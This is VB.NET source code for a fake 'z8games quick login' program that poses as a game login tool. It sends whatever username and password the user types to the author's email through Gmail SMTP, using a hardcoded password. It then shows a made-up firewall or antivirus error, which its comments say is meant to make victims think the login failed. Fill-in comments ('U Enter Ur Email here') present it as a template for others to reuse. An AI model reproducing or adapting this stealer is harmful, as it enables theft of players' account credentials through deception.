z8games quick login

Imports System.Net.Mail
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim MyMailMessage As New MailMessage
        Try
            If TextBox1.Text & TextBox2.Text = "" Then
                Call MsgBox("Please Enter A User Name and Password!")
            End If
            MyMailMessage.From() = New MailAddress("[Only registered and activated users can see links. Click Here To Register...]") 'U Enter Ur Email here
            MyMailMessage.To.Add("[Only registered and activated users can see links. Click Here To Register...]") 'U Enter Ur Email here agian
            MyMailMessage.Subject = "cf Account Information"
            MyMailMessage.Body = "Username :" & (TextBox1.Text) & "Password :" & (TextBox2.Text)
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("[Only registered and activated users can see links. Click Here To Register...]", "10212433") 'U Enter The Email, And The Password To The Email here
            SMTP.Send(MyMailMessage)
            Call MsgBox("Something is blocking this program. Please Check If your Firewall or AntiVirus Is Blocking It") 'This is a message, to make them think it failed 'logging' them in
        Catch ex As Exception
            Call MsgBox("There Was a Fatal Error Loading The Quick Login Component's Please Re-Install The Program", MsgBoxStyle.Critical) 'This is For the exception, incase the program runs into an error
        End Try
    End Sub

    Private Sub PictureBox1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click

    End Sub
End Class